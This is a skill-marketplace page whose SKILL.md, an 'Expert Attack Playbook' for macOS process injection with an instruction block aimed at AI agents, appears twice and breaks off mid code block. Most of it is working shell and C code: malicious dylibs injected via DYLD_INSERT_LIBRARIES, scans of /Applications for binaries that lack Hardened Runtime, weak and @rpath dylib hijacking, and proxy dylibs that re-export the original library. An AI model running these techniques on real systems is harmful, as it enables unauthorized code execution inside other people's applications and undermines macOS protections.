macos-process-injection

Name: macos-process-injection
Author: Prohao42

91stars8forks

How to install macos-process-injection?

prohao42/aimy-skill/macos-process-injection

$npx -y skills add Prohao42/aimy-skill --skill macos-process-injection

Installs into the current project.

Summary

macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: macOS Process Injection — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Base models miss entitlement prerequisites and SIP constraints on injection vectors.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [macos-security-bypass](../macos-security-bypass/SKILL.md) when you need to bypass TCC, Gatekeeper, or SIP protections blocking your injection
10	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) for Unix-layer escalation (shared object hijacking concepts apply)
11
12	### Advanced Reference
13
14	Also load [DYLIB_XPC_TECHNIQUES.md](./DYLIB_XPC_TECHNIQUES.md) when you need:
15	- Step-by-step dylib hijacking methodology with tooling commands
16	- XPC exploitation walkthrough with code examples
17	- Mach port technique details and task_for_pid patterns
18
19	---
20
21	## 1. DYLD_INSERT_LIBRARIES INJECTION
22
23	The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.
24
25	### 1.1 Requirements and Restrictions
26
27	\| Condition \| Can Inject? \| Reason \|
28	\|---\|---\|---\|
29	\| Normal (non-hardened) binary \| Yes \| No restrictions \|
30	\| Hardened Runtime enabled \| No \| DYLD strips env vars \|
31	\| Hardened Runtime + `com.apple.security.cs.allow-dyld-environment-variables` \| Yes \| Entitlement explicitly allows it \|
32	\| Apple system binary (SIP-protected) \| No \| DYLD env vars stripped by SIP \|
33	\| SUID/SGID binary \| No \| DYLD env vars stripped for privilege safety \|
34	\| App Sandbox enabled \| No \| Sandbox blocks env var injection \|
35
36	### 1.2 Basic Injection
37
38	```bash
39	# Create malicious dylib
40	cat > inject.c << 'EOF'
41	#include <stdio.h>
42	__attribute__((constructor))
43	void inject() {
44	printf("[+] Injected into PID %d\n", getpid());
45	// payload here
46	}
47	EOF
48
49	# Compile for both architectures
50	gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64
51
52	# Inject into target
53	DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target
54	```
55
56	### 1.3 Finding Injectable Targets
57
58	```bash
59	# Find apps WITHOUT hardened runtime
60	find /Applications -name "*.app" -exec sh -c '
61	binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
62	if [ -n "$binary" ]; then
63	flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
64	echo "$flags" \| grep -q "runtime" \|\| echo "No Hardened Runtime: $1"
65	fi
66	' _ {} \;
67
68	# Find apps with dyld env var entitlement
69	find /Applications -name "*.app" -exec sh -c '
70	binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
71	codesign -d --entitlements :- "$binary" 2>/dev/null \| \
72	grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
73	' _ {} \;
74	```
75
76	---
77
78	## 2. DYLIB HIJACKING
79
80	Exploit the dynamic linker's library search order to load attacker-controlled dylibs instead of (or in addition to) legitimate ones.
81
82	### 2.1 Weak Dylib Hijacking (LC_LOAD_WEAK_DYLIB)
83
84	Weak dylibs are optional — if missing, the binary still runs. If you can place a dylib at the expected path, it loads.
85
86	```bash
87	# Find binaries with weak dylib references
88	otool -l /path/to/binary \| grep -A 2 LC_LOAD_WEAK_DYLIB
89
90	# Check if the weak dylib actually exists
91	otool -L /path/to/binary \| grep weak \| while read lib rest; do
92	[ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
93	done
94	```
95
96	### 2.2 @rpath Hijacking
97
98	`@rpath` is resolved from `LC_RPATH` entries in the binary. If an earlier rpath directory is writable, you can place your dylib there.
99
100	```bash
101	# List rpath entries
102	otool -l /path/to/binary \| grep -A 2 LC_RPATH
103
104	# List rpath-relative dylib references
105	otool -L /path/to/binary \| grep @rpath
106
107	# If rpath includes writable directory (e.g., app's Frameworks/)
108	# place malicious dylib with matching name there
109	```
110
111	### 2.3 Dylib Proxying
112
113	Replace a legitimate dylib with a malicious one that forwards all exports to the original.
114
115	```bash
116	# Step 1: Identify target dylib and its exports
117	nm -gU /path/to/original.dylib \| awk '{print $3}'
118
119	# Step 2: Create proxy dylib that re-exports everything
120	# Move original to original_real.dylib
121	# Create proxy:
122	cat > proxy.c << 'EOF'
123	__attribute__((constructor))
124	void payload() {
125	// malicious code here
126	}
127	EOF
128
129	gcc -dynamiclib -o hijacked.dylib proxy.c \
130	-Wl,-reexport_library,/path/to/original_real.dylib \
131	-arch x86_64 -arch arm64
132	```
133
134	### 2.4 Dependency Enumeration
135
136	```bash
137	otool -L /path/to/binary # List all dylib dependencies
138	otool -l /path/to/binary # Full load commands (rpaths, weak, etc.)
139	dyldinfo -print_dependencies /path/to/binary # Detailed dependency info (pre-Ventura)
140	``

People who liked this also viewed

6 picks

Type

macos-process-injection

91stars8forks

View on GitHub

How to install macos-process-injection?

prohao42/aimy-skill/macos-process-injection

$npx -y skills add Prohao42/aimy-skill --skill macos-process-injection

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: macOS Process Injection — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Base models miss entitlement prerequisites and SIP constraints on injection vectors.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [macos-security-bypass](../macos-security-bypass/SKILL.md) when you need to bypass TCC, Gatekeeper, or SIP protections blocking your injection
10	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) for Unix-layer escalation (shared object hijacking concepts apply)
11
12	### Advanced Reference
13
14	Also load [DYLIB_XPC_TECHNIQUES.md](./DYLIB_XPC_TECHNIQUES.md) when you need:
15	- Step-by-step dylib hijacking methodology with tooling commands
16	- XPC exploitation walkthrough with code examples
17	- Mach port technique details and task_for_pid patterns
18
19	---
20
21	## 1. DYLD_INSERT_LIBRARIES INJECTION
22
23	The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.
24
25	### 1.1 Requirements and Restrictions
26
27	\| Condition \| Can Inject? \| Reason \|
28	\|---\|---\|---\|
29	\| Normal (non-hardened) binary \| Yes \| No restrictions \|
30	\| Hardened Runtime enabled \| No \| DYLD strips env vars \|
31	\| Hardened Runtime + `com.apple.security.cs.allow-dyld-environment-variables` \| Yes \| Entitlement explicitly allows it \|
32	\| Apple system binary (SIP-protected) \| No \| DYLD env vars stripped by SIP \|
33	\| SUID/SGID binary \| No \| DYLD env vars stripped for privilege safety \|
34	\| App Sandbox enabled \| No \| Sandbox blocks env var injection \|
35
36	### 1.2 Basic Injection
37
38	```bash
39	# Create malicious dylib
40	cat > inject.c << 'EOF'
41	#include <stdio.h>
42	__attribute__((constructor))
43	void inject() {
44	printf("[+] Injected into PID %d\n", getpid());
45	// payload here
46	}
47	EOF
48
49	# Compile for both architectures
50	gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64
51
52	# Inject into target
53	DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target
54	```
55
56	### 1.3 Finding Injectable Targets
57
58	```bash
59	# Find apps WITHOUT hardened runtime
60	find /Applications -name "*.app" -exec sh -c '
61	binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
62	if [ -n "$binary" ]; then
63	flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
64	echo "$flags" \| grep -q "runtime" \|\| echo "No Hardened Runtime: $1"
65	fi
66	' _ {} \;
67
68	# Find apps with dyld env var entitlement
69	find /Applications -name "*.app" -exec sh -c '
70	binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
71	codesign -d --entitlements :- "$binary" 2>/dev/null \| \
72	grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
73	' _ {} \;
74	```
75
76	---
77
78	## 2. DYLIB HIJACKING
79
80	Exploit the dynamic linker's library search order to load attacker-controlled dylibs instead of (or in addition to) legitimate ones.
81
82	### 2.1 Weak Dylib Hijacking (LC_LOAD_WEAK_DYLIB)
83
84	Weak dylibs are optional — if missing, the binary still runs. If you can place a dylib at the expected path, it loads.
85
86	```bash
87	# Find binaries with weak dylib references
88	otool -l /path/to/binary \| grep -A 2 LC_LOAD_WEAK_DYLIB
89
90	# Check if the weak dylib actually exists
91	otool -L /path/to/binary \| grep weak \| while read lib rest; do
92	[ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
93	done
94	```
95
96	### 2.2 @rpath Hijacking
97
98	`@rpath` is resolved from `LC_RPATH` entries in the binary. If an earlier rpath directory is writable, you can place your dylib there.
99
100	```bash
101	# List rpath entries
102	otool -l /path/to/binary \| grep -A 2 LC_RPATH
103
104	# List rpath-relative dylib references
105	otool -L /path/to/binary \| grep @rpath
106
107	# If rpath includes writable directory (e.g., app's Frameworks/)
108	# place malicious dylib with matching name there
109	```
110
111	### 2.3 Dylib Proxying
112
113	Replace a legitimate dylib with a malicious one that forwards all exports to the original.
114
115	```bash
116	# Step 1: Identify target dylib and its exports
117	nm -gU /path/to/original.dylib \| awk '{print $3}'
118
119	# Step 2: Create proxy dylib that re-exports everything
120	# Move original to original_real.dylib
121	# Create proxy:
122	cat > proxy.c << 'EOF'
123	__attribute__((constructor))
124	void payload() {
125	// malicious code here
126	}
127	EOF
128
129	gcc -dynamiclib -o hijacked.dylib proxy.c \
130	-Wl,-reexport_library,/path/to/original_real.dylib \
131	-arch x86_64 -arch arm64
132	```
133
134	### 2.4 Dependency Enumeration
135
136	```bash
137	otool -L /path/to/binary # List all dylib dependencies
138	otool -l /path/to/binary # Full load commands (rpaths, weak, etc.)
139	dyldinfo -print_dependencies /path/to/binary # Detailed dependency info (pre-Ventura)
140	``

People who liked this also viewed

6 picks

Type